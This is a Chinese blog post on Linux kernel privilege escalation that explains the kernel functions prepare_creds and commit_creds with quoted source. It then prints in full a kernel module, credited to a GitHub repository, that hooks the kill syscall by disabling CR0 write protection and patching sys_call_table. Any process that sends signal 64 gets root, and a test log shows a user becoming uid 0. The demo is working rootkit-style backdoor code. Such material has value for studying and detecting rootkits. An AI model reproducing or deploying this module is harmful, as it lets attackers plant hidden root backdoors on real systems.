Linux安全-内核提权
- IT业界
- 2025-08-17 15:09:01

文章目录 前言一、简介1.1 prepare_creds1.2 commit_creds 二、demo参考资料 前言
在这篇文章:Linux 安全 - Credentials 介绍了 Task Credentials 相关的知识点,接下来给出一个内核编程提权的例程。
一、简介内核模块提权主要借助于 prepare_creds 函数和 commit_creds 函数,简单代码示例如下:
void set_root(void) { struct cred *root; root = prepare_creds(); if (root == NULL) return; /* Set the credentials to root */ commit_creds(root); } struct cred { kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ }在set_root函数中把struct cred 以上成员改为0。
/* Whatever calls this function will have it's creds struct replaced * with root's */ void set_root(void) { /* prepare_creds returns the current credentials of the process */ struct cred *root; root = prepare_creds(); if (root == NULL) return; /* Run through and set all the various *id's to 0 (root) */ root->uid.val = root->gid.val = 0; root->euid.val = root->egid.val = 0; root->suid.val = root->sgid.val = 0; root->fsuid.val = root->fsgid.val = 0; /* Set the cred struct that we've modified to that of the calling process */ commit_creds(root); } 1.1 prepare_creds static struct kmem_cache *cred_jar; /** * prepare_creds - Prepare a new set of credentials for modification * * Prepare a new set of task credentials for modification. A task's creds * shouldn't generally be modified directly, therefore this function is used to * prepare a new copy, which the caller then modifies and then commits by * calling commit_creds(). * * Preparation involves making a copy of the objective creds for modification. * * Returns a pointer to the new creds-to-be if successful, NULL otherwise. * * Call commit_creds() or abort_creds() to clean up. */ struct cred *prepare_creds(void) { struct task_struct *task = current; const struct cred *old; struct cred *new; validate_process_creds(); new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL; kdebug("prepare_creds() alloc %p", new); old = task->cred; memcpy(new, old, sizeof(struct cred)); new->non_rcu = 0; atomic_set(&new->usage, 1); set_cred_subscribers(new, 0); get_group_info(new->group_info); get_uid(new->user); get_user_ns(new->user_ns); #ifdef CONFIG_KEYS key_get(new->session_keyring); key_get(new->process_keyring); key_get(new->thread_keyring); key_get(new->request_key_auth); #endif #ifdef CONFIG_SECURITY new->security = NULL; #endif if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0) goto error; validate_creds(new); return new; error: abort_creds(new); return NULL; } EXPORT_SYMBOL(prepare_creds);prepare_creds() 函数的目的是为修改准备一个新的任务凭证集。它设计为创建现有凭证的副本,以便调用者可以在不直接修改原始凭证的情况下修改副本。这确保了在使用 commit_creds() 提交之前,原始凭证保持不变。
函数源码解析: (1)内存分配:该函数使用 kmem_cache_alloc() 为新凭证结构(new)分配内存。它利用了 cred_jar 内存缓存,这是一个预分配的凭证内存池。这有助于通过避免频繁的动态内存分配来提高性能。
(2)复制现有凭证:函数使用 memcpy() 将现有凭证(old)的内容复制到新分配的凭证(new)中。这创建了一个初始的凭证副本,可以独立地进行修改。
(3)设置凭证属性:在复制现有凭证之后,函数为新凭证设置各种属性。这些属性包括 non_rcu(设置为 0)、usage(设置为 1,表示对凭证的一个引用)以及与组信息、用户标识符和用户命名空间相关的其他字段。
(4)密钥管理:如果内核配置选项 CONFIG_KEYS 已启用,函数调用 key_get() 来增加凭证结构中与密钥相关字段的引用计数。这确保了与凭证关联的密钥得到正确的计数,避免了过早释放。
(5)安全模块集成:如果内核配置选项 CONFIG_SECURITY 已启用,新凭证的 security 字段将设置为 NULL。该字段通常用于存储与凭证关联的安全模块特定数据的引用。
(6)安全模块钩子:函数调用安全模块提供的 security_prepare_creds() 钩子。这允许安全模块对新凭证执行任何必要的操作或验证。如果安全模块返回小于 0 的值,表示发生错误,函数跳转到 error 标签处处理错误并进行清理。
(7)验证:在准备新凭证之后,函数调用 validate_creds() 来验证新凭证结构的完整性和一致性。
(8)返回值:如果准备成功,函数返回新凭证的指针(new)。如果在准备过程中发生任何错误,函数调用 abort_creds() 释放已分配的内存,并返回 NULL。
通过结合使用 prepare_creds() 和 commit_creds(),Linux 内核提供了一个安全的机制,在修改任务凭证时保持原始凭证不变,直到更改被提交。这是内核安全基础设施的重要组成部分,允许对系统内的访问权限和特权进行细粒度控制。
1.2 commit_creds /** * commit_creds - Install new credentials upon the current task * @new: The credentials to be assigned * * Install a new set of credentials to the current task, using RCU to replace * the old set. Both the objective and the subjective credentials pointers are * updated. This function may not be called if the subjective credentials are * in an overridden state. * * This function eats the caller's reference to the new credentials. * * Always returns 0 thus allowing this function to be tail-called at the end * of, say, sys_setgid(). */ int commit_creds(struct cred *new) { struct task_struct *task = current; const struct cred *old = task->real_cred; kdebug("commit_creds(%p{%d,%d})", new, atomic_read(&new->usage), read_cred_subscribers(new)); BUG_ON(task->cred != old); #ifdef CONFIG_DEBUG_CREDENTIALS BUG_ON(read_cred_subscribers(old) < 2); validate_creds(old); validate_creds(new); #endif BUG_ON(atomic_read(&new->usage) < 1); get_cred(new); /* we will require a ref for the subj creds too */ /* dumpability changes */ if (!uid_eq(old->euid, new->euid) || !gid_eq(old->egid, new->egid) || !uid_eq(old->fsuid, new->fsuid) || !gid_eq(old->fsgid, new->fsgid) || !cred_cap_issubset(old, new)) { if (task->mm) set_dumpable(task->mm, suid_dumpable); task->pdeath_signal = 0; /* * If a task drops privileges and becomes nondumpable, * the dumpability change must become visible before * the credential change; otherwise, a __ptrace_may_access() * racing with this change may be able to attach to a task it * shouldn't be able to attach to (as if the task had dropped * privileges without becoming nondumpable). * Pairs with a read barrier in __ptrace_may_access(). */ smp_wmb(); } /* alter the thread keyring */ if (!uid_eq(new->fsuid, old->fsuid)) key_fsuid_changed(new); if (!gid_eq(new->fsgid, old->fsgid)) key_fsgid_changed(new); /* do it * RLIMIT_NPROC limits on user->processes have already been checked * in set_user(). */ alter_cred_subscribers(new, 2); if (new->user != old->user) atomic_inc(&new->user->processes); rcu_assign_pointer(task->real_cred, new); rcu_assign_pointer(task->cred, new); if (new->user != old->user) atomic_dec(&old->user->processes); alter_cred_subscribers(old, -2); /* send notifications */ if (!uid_eq(new->uid, old->uid) || !uid_eq(new->euid, old->euid) || !uid_eq(new->suid, old->suid) || !uid_eq(new->fsuid, old->fsuid)) proc_id_connector(task, PROC_EVENT_UID); if (!gid_eq(new->gid, old->gid) || !gid_eq(new->egid, old->egid) || !gid_eq(new->sgid, old->sgid) || !gid_eq(new->fsgid, old->fsgid)) proc_id_connector(task, PROC_EVENT_GID); /* release the old obj and subj refs both */ put_cred(old); put_cred(old); return 0; } EXPORT_SYMBOL(commit_creds);commit_creds() 负责处理进程的凭证安装。它确保凭证的一致性和完整性,更新各种属性,并在必要时发送通知。
二、demo源代码来自于: github /chronolator/LKM-SetRootPerms
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/version.h> #define LICENSE "GPL" #define AUTHOR "Chronolator" #define DESCRIPTION "LKM example of setting process to root perms." #define VERSION "0.01" /* Module meta data */ MODULE_LICENSE(LICENSE); MODULE_AUTHOR(AUTHOR); MODULE_DESCRIPTION(DESCRIPTION); MODULE_VERSION(VERSION); /* Preprocessing Definitions */ #define MODULE_NAME "SetRootPerms" #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) #define KPROBE_LOOKUP 1 #include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; #endif /* Global Variables */ unsigned long cr0; static unsigned long *__sys_call_table; /* Function Prototypes*/ unsigned long *get_syscall_table_bf(void); #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static inline void write_cr0_forced(unsigned long val); #endif static inline void SetProtectedMode(void); static inline void SetRealMode(void); void give_root(void); #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) typedef asmlinkage long (*t_syscall)(const struct pt_regs *regs); static t_syscall original_kill; //asmlinkage long (*original_kill)(const struct pt_regs *regs); //OLD asmlinkage long hacked_kill(const struct pt_regs *regs); #else typedef asmlinkage long (*original_kill_t)(pid_t, int); original_kill_t original_kill; //asmlinkage long (*original_kill)(int pid, int sig); //OLD asmlinkage long hacked_kill(int pid, int sig); #endif /* Get syscall table */ unsigned long *get_syscall_table_bf(void) { unsigned long *syscall_table; #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0) #ifdef KPROBE_LOOKUP typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); #endif syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table"); return syscall_table; #else unsigned long int i; for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) { syscall_table = (unsigned long *)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; #endif } /* Bypass write_cr0() restrictions by writing directly to the cr0 register */ #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static inline void write_cr0_forced(unsigned long val) { unsigned long __force_order; asm volatile( "mov %0, %%cr0" : "+r"(val), "+m"(__force_order) ); } #endif /* Set CPU to protected mode by modifying value stored in cr0 register */ static inline void SetProtectedMode(void) { #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) write_cr0_forced(cr0); #else write_cr0(cr0); #endif } /* Set CPU to real mode by modifying value stored in cr0 register */ static inline void SetRealMode(void) { #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) write_cr0_forced(cr0 & ~0x00010000); #else write_cr0(cr0 & ~0x00010000); #endif } /* Misc Functions */ void give_root(void) { #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = current->gid = 0; current->euid = current->egid = 0; current->suid = current->sgid = 0; current->fsuid = current->fsgid = 0; #else struct cred *newcreds; newcreds = prepare_creds(); if (newcreds == NULL) return; #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) newcreds->uid.val = newcreds->gid.val = 0; newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; #else newcreds->uid = newcreds->gid = 0; newcreds->euid = newcreds->egid = 0; newcreds->suid = newcreds->sgid = 0; newcreds->fsuid = newcreds->fsgid = 0; #endif commit_creds(newcreds); #endif } /* Hacked Syscalls */ #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) asmlinkage long hacked_kill(const struct pt_regs *regs) { printk(KERN_WARNING "%s module: Called syscall kill using new pt_regs", MODULE_NAME); pid_t pid = regs->di; int sig = regs->si; if(sig == 64) { printk(KERN_INFO "%s module: Giving root\n", MODULE_NAME); give_root(); return 0; } return (*original_kill)(regs); } #else asmlinkage long hacked_kill(pid_t pid, int sig) { printk(KERN_WARNING "%s module: Called syscall kill", MODULE_NAME); //struct task_struct *task; if(sig == 64) { printk(KERN_INFO "%s module: Giving root using old asmlinkage\n", MODULE_NAME); give_root(); return 0; } return (*original_kill)(pid, sig); } #endif /* Init */ static int __init run_init(void) { printk(KERN_INFO "%s module: Initializing module\n", MODULE_NAME); // Get syscall table __sys_call_table = get_syscall_table_bf(); if (!__sys_call_table) return -1; // Get the value in the cr0 register cr0 = read_cr0(); // Set the actual syscalls to the "original" linked versions (save the actual in another variable) #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) original_kill = (t_syscall)__sys_call_table[__NR_kill]; //original_kill = (original_kill)__sys_call_table[__NR_kill]; //OLD #else original_kill = (original_kill_t)__sys_call_table[__NR_kill]; //original_kill = (void*)__sys_call_table[__NR_kill]; //OLD #endif // Set the syscalls to your modified versions SetRealMode(); __sys_call_table[__NR_kill] = (unsigned long)hacked_kill; SetProtectedMode(); return 0; } /* Exit */ static void __exit run_exit(void) { printk(KERN_INFO "%s module: Exiting module\n", MODULE_NAME); // Set the syscalls back to the "original" linked versions SetRealMode(); __sys_call_table[__NR_kill] = (unsigned long)original_kill; SetProtectedMode(); return; } module_init(run_init); module_exit(run_exit);测试结果:
$ id uid=1000(yl) gid=1000(yl) $ kill -64 0 $ id uid=0(root) gid=0(root) 参考资料github /chronolator/LKM-SetRootPerms xcellerator.github.io/posts/linux_rootkits_03/
Linux安全-内核提权由讯客互联IT业界栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“Linux安全-内核提权”